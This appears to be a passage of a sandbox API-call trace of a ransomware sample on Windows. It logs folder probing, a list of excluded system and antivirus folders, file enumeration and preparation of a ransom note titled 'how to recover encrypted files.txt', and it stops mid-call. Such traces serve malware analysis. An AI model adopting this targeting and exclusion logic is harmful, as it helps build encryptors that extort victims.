lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@琬T企@\x18?T\x18q")) returned 0xffffffff [0047.696] GetLastError () returned 0x2 [0047.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\ℐRð") returned 6 [0047.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0047.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@∜R企@\x18?T\x18y")) returned 0xffffffff [0047.698] GetLastError () returned 0x2 [0047.698] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0047.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0047.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@蟼T企@\x18?T\x18\x81")) returned 0xffffffff [0047.700] GetLastError () returned 0x2 [0047.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0047.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0047.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@⊔U企@\x18?T\x18\x88")) returned 0xffffffff [0047.701] GetLastError () returned 0x2 [0047.701] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0047.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0047.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@∜R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.703] GetLastError () returned 0x2 [0047.703] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0047.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0047.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@蟼T企@\x18?T\x18\x97")) returned 0xffffffff [0047.704] GetLastError () returned 0x2 [0047.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0047.705] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.705] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.705] GlobalUnlock (hMem=0x44000c) returned 0 [0047.705] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.705] GlobalLock (hMem=0x440004) returned 0x556190 [0047.705] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.705] GlobalUnlock (hMem=0x44000c) returned 0 [0047.705] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.705] GlobalUnlock (hMem=0x440004) returned 0 [0047.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.705] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.705] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0047.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.705] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.706] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69360, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.706] GlobalLock (hMem=0x440004) returned 0x554180 [0047.706] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.706] GlobalUnlock (hMem=0x440004) returned 0 [0047.706] GlobalLock (hMem=0x440004) returned 0x554180 [0047.706] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.706] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.706] GlobalUnlock (hMem=0x440004) returned 0 [0047.706] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.706] GlobalUnlock (hMem=0x44000c) returned 0 [0047.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0047.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0047.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0047.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0047.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0047.708] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.708] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.708] GlobalUnlock (hMem=0x44000c) returned 0 [0047.708] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.708] GlobalLock (hMem=0x440004) returned 0x556190 [0047.708] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.708] GlobalUnlock (hMem=0x44000c) returned 0 [0047.708] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.708] GlobalUnlock (hMem=0x440004) returned 0 [0047.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.709] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.709] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0047.709] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.709] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.709] GlobalLock (hMem=0x440004) returned 0x555188 [0047.709] GlobalHandle (pMem=0x555188) returned 0x440004 [0047.709] GlobalUnlock (hMem=0x440004) returned 0 [0047.709] GlobalLock (hMem=0x440004) returned 0x555188 [0047.709] GlobalLock (hMem=0x44000c) returned 0x557198 [0047.709] GlobalHandle (pMem=0x555188) returned 0x440004 [0047.709] GlobalUnlock (hMem=0x440004) returned 0 [0047.709] GlobalHandle (pMem=0x557198) returned 0x44000c [0047.709] GlobalUnlock (hMem=0x44000c) returned 0 [0047.709] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.709] CharLowerBuffW (in: lpsz="AccessMUI.XML", cchLength=0xd | out: lpsz="accessmui.xml") returned 0xd [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", cchWideChar=106, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML\x18", lpUsedDefaultChar=0x0) returned 106 [0047.710] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML\x18", lpUsedDefaultChar=0x0) returned 4 [0047.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.711] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.711] CloseHandle (hObject=0x190) returned 1 [0047.711] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\я")) returned 1 [0047.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 0x54e280 [0047.712] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.712] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.713] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.713] SetFileAttributesW 